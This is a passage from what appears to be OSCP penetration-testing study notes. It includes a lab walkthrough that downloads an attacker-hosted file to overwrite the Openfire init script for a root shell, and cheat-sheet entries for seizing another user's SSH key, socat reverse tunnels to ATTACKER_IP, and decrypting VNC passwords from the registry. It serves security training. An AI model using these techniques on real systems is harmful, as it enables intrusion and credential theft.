daemons.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo -n &amp;#34;Shutting down openfire: &amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PID=$(findPID)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if [ -n &amp;#34;$PID&amp;#34; ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if [ -n &amp;#34;$FUNCTIONS_FOUND&amp;#34; ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo $PID &amp;gt; $OPENFIRE_PIDFILE&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# delay copied from restart&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;killproc -p $OPENFIRE_PIDFILE -d 10&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rm -f $OPENFIRE_PIDFILE&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;else&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kill $PID&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;else&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;Openfire is not running.&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RETVAL=$?&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[ $RETVAL -eq 0 -a -f &amp;#34;/var/lock/subsys/openfire&amp;#34; ] &amp;amp;&amp;amp; rm -f /var/lock/subsys/openfire&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;restart() {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;stop&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sleep 10 # give it a few moments to shut down&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;start&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;condrestart() {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[ -e &amp;#34;/var/lock/subsys/openfire&amp;#34; ] &amp;amp;&amp;amp; restart&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;return 0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;status() {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PID=$(findPID)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if [ -n &amp;#34;$PID&amp;#34; ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;openfire is running&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RETVAL=0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;else&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;openfire is not running&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RETVAL=1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;findPID() {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo `ps ax --width=1000 | grep openfire | grep startup.jar | awk &amp;#39;{print $1}&amp;#39;`&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Handle how we were called.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;case &amp;#34;$1&amp;#34; in&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;start)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;start&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;stop)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;stop&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;restart)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;restart&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;condrestart)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;condrestart&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reload)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;restart&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;status)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;status&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;*)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;Usage $0 {start|stop|restart|status|condrestart|reload}&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RETVAL=1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;esac&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;exit $RETVAL&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Save this file locally, for example as &lt;code&gt;openfire.txt&lt;/code&gt;. Next, overwrite &lt;code&gt;/etc/init.d/openfire&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;@call abc -o /tmp/dummy -o /etc/init.d/openfire -X GET http://192.168.96.128/openfire.txt -o /tmp/dummy&lt;/p&gt;&#10;&lt;p&gt;All you need to do is start an HTTP server.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0018.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0019.zh.gif" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then enter the command above in the chat window. It will download the file and overwrite the Openfire script.&lt;/p&gt;&#10;&lt;p&gt;The only thing left is to restart the service. I&amp;rsquo;ll describe the route I took, because even the blog never explained where to do this; I had to feel my way through it. Remember to listen on the port specified in the exploit above.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0020.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0021.zh.gif" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0022.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0023.zh.gif" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That makes this a pretty detailed walkthrough. Some people on Discord said this was an interesting box, and I agree—though naturally it only felt interesting after I had finished it. After the restart, wait a little while and the root shell should come in.&lt;/p&gt;&#10;&lt;h3 id="80tcpdump"&gt;&lt;a href="#80tcpdump" class="header-anchor"&gt;&lt;/a&gt;80.tcpdump&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tcpdump -i any udp -w capture.pcap&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="81bsd"&gt;&lt;a href="#81bsd" class="header-anchor"&gt;&lt;/a&gt;81.BSD&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This directory traditionally stores home directories for temporary or guest users&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/guest/&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="82windows-command-line"&gt;&lt;a href="#82windows-command-line" class="header-anchor"&gt;&lt;/a&gt;82.Windows Command Line&#10;&lt;/h3&gt;&lt;p&gt;Permissions&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;First, take ownership of the file:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;takeown /f &amp;#34;C:\Users\k.smith\.ssh\id_rsa&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Modify file permissions to gain full control:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;icacls &amp;#34;C:\Users\k.smith\.ssh\id_rsa&amp;#34; /grant Administrators:F&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Force the permission change:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cacls &amp;#34;C:\Users\k.smith\.ssh\id_rsa&amp;#34; /E /P Administrators:F&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="83socat"&gt;&lt;a href="#83socat" class="header-anchor"&gt;&lt;/a&gt;83.socat&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use a more verbose listener command:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bashCopysocat -v UNIX-LISTEN:/tmp/s,fork STDOUT&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Or try logging the communication:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bashCopysocat -v UNIX-LISTEN:/tmp/s,fork &amp;#34;SYSTEM:tee /tmp/socat.log&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;You can also try interacting with it:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bashCopy# Listen and display all received data in hexadecimal&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;socat -x UNIX-LISTEN:/tmp/s,fork STDOUT&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Expose a local port through a proxy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# On the target machine, forward local port 8888 to port 33333 on 0.0.0.0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;socat TCP-LISTEN:33333,fork TCP:127.0.0.1:8888&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Create a reverse tunnel&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# On the attacker machine:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;socat TCP-LISTEN:33333,reuseaddr,fork TCP-LISTEN:8888,reuseaddr,bind=localhost&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# On the attacker machine:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;socat TCP:ATTACKER_IP:33333 TCP:127.0.0.1:8888&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="84vnc-passwords"&gt;&lt;a href="#84vnc-passwords" class="header-anchor"&gt;&lt;/a&gt;84.VNC Passwords&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;span class="lnt"&gt;40&#10;&lt;/span&gt;&lt;span class="lnt"&gt;41&#10;&lt;/span&gt;&lt;span class="lnt"&gt;42&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://www.cnblogs.com/fczlm/p/17759610.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;VNC password&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Configuration path: c:\Program Files\uvnc bvba\UltraVNC\ultravnc.ini; decryption tool: https://github.com/jeroennijhof/vncpwd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TightVNC&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The encrypted TightVNC password is stored in the registry and requires administrator privileges&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v ControlPassword&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v password&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v RfbPort&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Decryption tool: https://github.com/jeroennijhof/vncpwd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RealVNC&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The encrypted RealVNC password is stored in the registry and requires administrator privileges.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver /v password&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Decryption tool: https://github.com/jeroennijhof/vncpwd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;First, create a file containing the raw hexadecimal data:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bashCopy# Use xxd to create a binary file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;BFE825DE515A335BE3&amp;#34; | xxd -r -p &amp;gt; vnc.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Then try to decrypt it&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./vncpwd vnc.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Or try the MSF method:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfconsole&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;irb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fixedkey = &amp;#34;\x17\x52\x6b\x06\x23\x4e\x58\x07&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;require &amp;#39;rex/proto/rfb&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rex::Proto::RFB::Cipher.decrypt(&amp;#34;BFE825DE515A335BE3&amp;#34;, fixedkey)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Or try another version of vncpwd:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bashCopygit clone https://github.com/gitdurandal/vncpwd.git&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cd vncpwd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;make&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./vncpwd BFE825DE515A335BE3&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;vncviewer 192.168.214.220:5900&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Enter password: R3S3+rcH&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="85chisel"&gt;&lt;a href="#85chisel" class="header-anchor"&gt;&lt;/a&gt;85.chisel&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 